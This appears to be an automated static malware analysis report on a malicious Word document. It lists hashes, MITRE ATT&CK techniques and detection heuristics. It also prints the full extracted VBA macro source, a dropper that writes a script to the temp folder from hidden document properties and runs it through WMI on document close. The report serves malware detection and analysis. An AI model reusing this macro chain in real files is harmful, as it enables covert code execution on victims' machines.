Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 f8e191be7eb5c9eb…

MALICIOUS

Office (OOXML) / .DOCX

93.5 KB Created: 2023-12-18 19:46:00 UTC Authoring application: 16.0000 First seen: 2026-06-12
MD5: 575608d87e99d42ab824a6a53c9cfc2c SHA-1: c3542e82b8faf2bbe3cca44aa46571cfc691637c SHA-256: f8e191be7eb5c9eb1381adf1bc096b526a2825925923b5b0e2772f7d97469641
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The `Document_Open` macro is configured to run automatically and attempts to hide the document's content while preparing to execute a payload. It uses `CreateObject("Scripting.FileSystemObject")` and `CreateObject("WScript.Shell")` to write and execute a file from the temporary directory. The script also attempts to use WMI (`GetObject("winmgmts://./root/cimv2")`) to create a new process, indicating an attempt to download and execute a second-stage payload. The specific values for the payload execution are constructed from custom document properties, but the overall intent is clear.

Heuristics 9

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Tmp = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
      Set fso = CreateObject("Scripting.FileSystemObject")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set fso = CreateObject("Scripting.FileSystemObject")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
      Set objWMIService = GetObject("winmgmts://./root/cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/wordprocessingml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/schemaLibrary/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/pictureIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/sharedTypesIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://www.w3.org/XML/1998/namespaceIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2158 bytes
SHA-256: adc93152c75e99bef7da5f354873e019fcd00ad652faeee5dbda5f01ff056b71
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
 Module1.Checker
End Sub

Private Sub Document_Open()

Dim prg As Paragraph
Set prg = ActiveDocument.Paragraphs(Index:=1)

Dim pgh As Paragraph
For Each pgh In ActiveDocument.Paragraphs
     pgh.Range.Select
     Selection.Font.Hidden = False
Next pgh

prg.Range.Select
Selection.Font.Hidden = True

End Sub

Attribute VB_Name = "Module1"
Public Sub Checker()
  Set fso = CreateObject("Scripting.FileSystemObject")
  Dim tempFileName As String
  Dim Tmp As String
  Dim tfname As String
  Tmp = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%")
  tempFileName = fso.GetTempName()
  tfname = Tmp + "\" + tempFileName
  Set ts = fso.CreateTextFile(tfname)
  
  Dim b10 As String
  b10 = "objShell"
  b10 = b10 & ".Run """
  
  Dim b2 As String
  b2 = ThisDocument.CustomDocumentProperties("SpecialProps").Value
  
  Dim b3 As String
  b3 = ThisDocument.CustomDocumentProperties("SpecialProps1").Value
  
  Dim b1 As String
  b1 = ThisDocument.CustomDocumentProperties("SpecialProps2").Value
  
  Dim b4 As String
  b4 = ThisDocument.CustomDocumentProperties("SpecialProps3").Value
  
  ts.WriteLine b4
  ts.WriteLine b10 & b1 & """""" & b2 & """"""", 0, -1"
  ts.Close
  
  Dim objWMIService As Object
  Dim objProcess As Object
  Dim objProgram As Object
  
  Set objWMIService = GetObject("winmgmts://./root/cimv2")
  
  Set objProcess = objWMIService.Get("Win32_Process")
  Set objProgram = objProcess.Methods_("Create").InParameters.SpawnInstance_
  objProgram.CommandLine = "wscript /E:vbscript " + tfname
  
  Call ProcessData1(objWMIService, objProgram, "Win32_Process", "Create")
End Sub

Public Sub ProcessData1(ByRef par1 As Object, ByRef par2 As Object, ByVal par3 As String, ByVal par4 As String)
  Set rVal = par1.ExecMethod(par3, par4, par2)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 34816 bytes
SHA-256: a30798880eab8c6158073a38e63d5c014de3976e623e38c29b65dc1e6b0be3ef

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